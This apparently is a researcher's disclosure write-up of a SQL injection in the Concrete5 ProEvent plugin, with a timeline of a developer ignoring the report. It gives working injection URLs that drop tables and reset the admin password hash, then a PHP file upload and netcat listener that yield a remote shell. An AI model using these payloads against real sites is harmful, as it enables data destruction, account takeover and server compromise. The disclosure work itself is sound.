When Security Reports Go Ignored – Hacking Concrete5’s ProEvent Plugin
Overview Link to heading
In this post I will walk you through the vulnerability discovery in a php plugin. This combined with some interesting side effects in Concrete5 itself, will allow us to develop an exploit to open a remote shell.
- Concrete5.7.5.6
- ProEvent Plugin 2.8.1
- Ubuntu 14.04 with standard LAMP install
SQL Injection Discovery Link to heading
In January of 2016 I was reviewing the ProEvent Concrete5 plugin that I had purchased and stumbled across a major vulnerability. I notified a developer on the plugin review team who had a relationship with the ProEvent plugin developer. I included two Gists. One showing the issue, the other a patch where I fixed the problem.
Months passed and I forgot about it.
On Monday I was troubleshooting a different bug I had found in Concrete5’s core. But it got me thinking, whatever happened with that SQL injection bug in the ProEvent plugin? I went and downloaded the latest version and grep’d through it. Sure enough, the vulnerability was still there.
I figured the information never was passed along. After reviewing the C5 security reporting page (which has since been updated), there wasn’t a clear path on how to report a plugin vulnerability. So I started a conversation on the forum. I wasn’t thinking it would lead to much drama. More along the lines of what someone should do next time they discover a vuln in a plugin.
What I learned really concerned me. It turns out the plugin developer was notified on February 1st but never acted on the information.
There was also a response on the forums from Portland Labs stating their position on such matters.
“If it’s really bad enough, we’d absolutely pull the listing and jump through some hoops to send an email to people who might have the listing installed.”
As of today the plugin is still available and has been updated with my patch on the marketplace. I don’t know if people will be alerted so I figured I’d take the time to walk through the vulnerability and educate everyone.
Setup Link to heading
You’ll need a Linux LAMP stack setup (Ubuntu 14.04.4 for simplicity) Link to heading
Install Concrete5
Install ProEvents <=2.8.1
Backup your Database
$ mysqldump -uroot -p c5_pwn > c5.orig.sql
Enter password:
$
Enable logging and tail the log files
$ cd /etc/mysql
$ sudo vi my.cnf
# Both location gets rotated by the cronjob.
# Be aware that this log type is a performance killer.
# As of 5.1 you can enable the log at runtime!
general_log_file = /var/log/mysql/mysql.log
general_log = 1
backwardselvis@c5:/etc/mysql$ tail -f /var/log/mysql/mysql.log
Explore Link to heading
The root of the issue is a function called eventIs(). As this is a calendaring plugin the function tries to deduce what day of the month an event falls on. It does this by using a sql query.
<?php
/**
* Checks a particular day and returns true or false if an event exists.
*/
public function eventIs($date, $category, $section = null, $allday = null)
{
$categories = explode(', ', $category);
$category_q = '';
$query_params = array();
$i = ;
if (!in_array('All Categories', $categories)) {
foreach ($categories as $cat) {
$cat = str_replace('&', '&', $cat);
if ($i) {
$category_q .= "OR ";
} else {
$category_q .= "AND (";
}
$category_q .= "category LIKE '%$cat%' ";
$i++;
}
$category_q .= ")";
} else {
$category_q = '';
}
if ($section != null) {
$section = "AND section LIKE '%$section%'";
} else {
$section = '';
}
if ($allday != null) {
$allday = "AND allday LIKE '%$allday%'";
} else {
$allday = '';
}
$db = Loader::db();
$events = array();
$q = "SELECT * FROM btProEventDates WHERE DATE_FORMAT(date,'%Y-%m-%d') = DATE_FORMAT('$date','%Y-%m-%d') $category_q $section $allday";
$r = $db->query($q);
//...snip...
You can see that the query building portion concatenates the variables directly into the SELECT statement. This means that the statement is not prepared. Upon realizing this, I grep through the directory looking for every place this function is called.
$ grep -nr "eventIs(" ./
./src/Models/EventList.php:505: public function eventIs($date, $category, $section = null, $allday = null)
./views/ajax/pro_event_list/calendar_dynamic.php:118: if ($el->eventIs($daynum, $ctID, $section) == true) {
./views/ajax/pro_event_list/calendar_responsive.php:156: $ei = $el->eventIs($daynum, $ctID, $section);
./views/ajax/pro_event_list/calendar_small.php:144: $ei = $el->eventIs($daynum, $ctID, $section);
./views/ajax/pro_event_list/calendar_small_array.php:160: $ei = $el->eventIs($daynum, $ctID, $section);
$
I know that the function is defined in EventList.php so I proceed to dig into calendar_dynamic.php. Unfortunately, the values are being pulled from the database and passed to eventIs() so there isn’t any foot hold there.
Moving on.
I open up calendar_small.php and I see the following.
<?php
...snip...
$sctID = $request->get('sctID');
$ctID = $request->get('ctID');
$bID = $request->get('bID');
And further down.
<?php
if ($sctID != 'All Sections') {
$section = $sctID;
}
And still further down. And further down.
<?php
$ei = $el->eventIs($daynum, $ctID, $section);
Bingo. The values $ctID and $section are passed to eventIs() with no sanitization.
Upon installation of ProEvents all the routes get created and installed. That means that even if you don’t have the template/view for that part of the plugin activated on a page of your site, you are absolutely still vulnerable. So issuing a request to the calendar_small route will work.
Enter this into your browser or use a cli tool.
http://172.16.21.208/index.php/proevents/routes/calendar_small?bID=163%cID=183%sctID=%27;%20drop%20table%20Users;%20select%20*%20from%20pages%20where%20cID%20=%27&year=2016&month=05&dateset=true
Makes the following appear in the mysql logs.
SELECT FROM btProEventDates WHERE DATE_FORMAT(DATE,’%Y-%m-%d’) = DATE_FORMAT(‘2016-05-31’,’%Y-%m-%d’) AND (category LIKE ’%%’ ) AND SECTION LIKE ’%’; DROP TABLE Users; SELECT FROM pages WHERE cID =’%’
And then I can run a quick select.
$ mysql -uroot -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 51
Server version: 5.5.47-0ubuntu0.14.04.1-log (Ubuntu)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use c5_pwn;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select * from users;
ERROR 1146 (42S02): Table 'c5_pwn.Users' doesn't exist
mysql>
SWEET! I know I can mess with the database.
Now restore the database and lets keep going.
Diving in Link to heading
After this, it got me thinking, what else can I do? How about setting the password to empty.
http://172.16.21.208/index.php/proevents/routes/calendar_small?bID=163&cID=183&sctID=%27;%20update%20Users%20set%20uPassword=%27%27%20where%20uName=%27admin%27;%20select%20*%20from%20pages%20where%20cID%20=%27&year=2016&month=05&dateset=true
mysql> select uName, uEmail, uPassword from Users;
+-------+--------------------+-----------+
| uName | uEmail | uPassword |
+-------+--------------------+-----------+
| admin | jfolkins@gmail.com | |
+-------+--------------------+-----------+
1 row in set (0.00 sec)
What if I want to login. Lets take a bcrypted salt/hash from another installation and update the admin user’s.
http://172.16.21.208/index.php/proevents/routes/calendar_small?bID=163&cID=183&sctID=%27;%20update%20Users%20set%20uPassword=%27$2a$12$zkjyqBpTXbYmjGf7QSgqyeskvNponQ86jMWE1tqv6eCb588/MqS9u%27%20where%20uName=%27admin%27;%20select%20*%20from%20pages%20where%20cID%20=%27&year=2016&month=05&dateset=true
mysql> select uName, uEmail, uPassword from Users;
+-------+--------------------+--------------------------------------------------------------+
| uName | uEmail | uPassword |
+-------+--------------------+--------------------------------------------------------------+
| admin | jfolkins@gmail.com | $2a$12$zkjyqBpTXbYmjGf7QSgqyeskvNponQ86jMWE1tqv6eCb588/MqS9u |
+-------+--------------------+--------------------------------------------------------------+
1 row in set (0.00 sec)
I attempt to login with user = admin and password = concretepwn. I succeed.
Lets go deeper Link to heading
I can login! But now what? Unfortunately Concrete5 only allows you to download plugins from their marketplace. So unlike wordpress where I could directly manipulate the php files, I don’t appear to be able to do that here. But I do find something interesting. Link to heading
On the allowed file upload screen I append the php filetype to the end.
Document the URL.
I run the url in the browser.
http://172.16.21.208/application/files/1614/6059/6987/jpwn.php
➜ ~ sudo nc -l 172.16.21.1 11234
Linux c5 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
18:34:50 up 4:34, 2 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
backward pts/ 172.16.21.1 14:01 1:50m 0.82s 0.02s sshd: backwardselvis [priv]
backward pts/3 172.16.21.1 16:51 2:10 0.16s 0.16s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: : can't access tty; job control turned off
$
SHELL!
Events Link to heading
- Notification sent to plugin developer on February 1st 2016
- Developer ignore’s report
- Forum post initiated on April 11th, 2016
- Developer silently applied the supplied patch, verbatim, on April 13th 2016
- No communication to the plugin’s user base has been sent
- CVE was denied because the vendor isn’t supported
- Concrete5’s marketplace only reviews the initial plugin. Subsequent reviews for updates are not performed. Buyer beware.
Conclusion Link to heading
This shows what you can do when you find one vulnerability. Chaining the other weak points (same password hashing scheme, file uploads executable) allowed me to own a standard LAMP ubuntu install.
It also is a reminder to me that you can’t depend on people to update their code. Best to cast some light on things and get everything out in the open.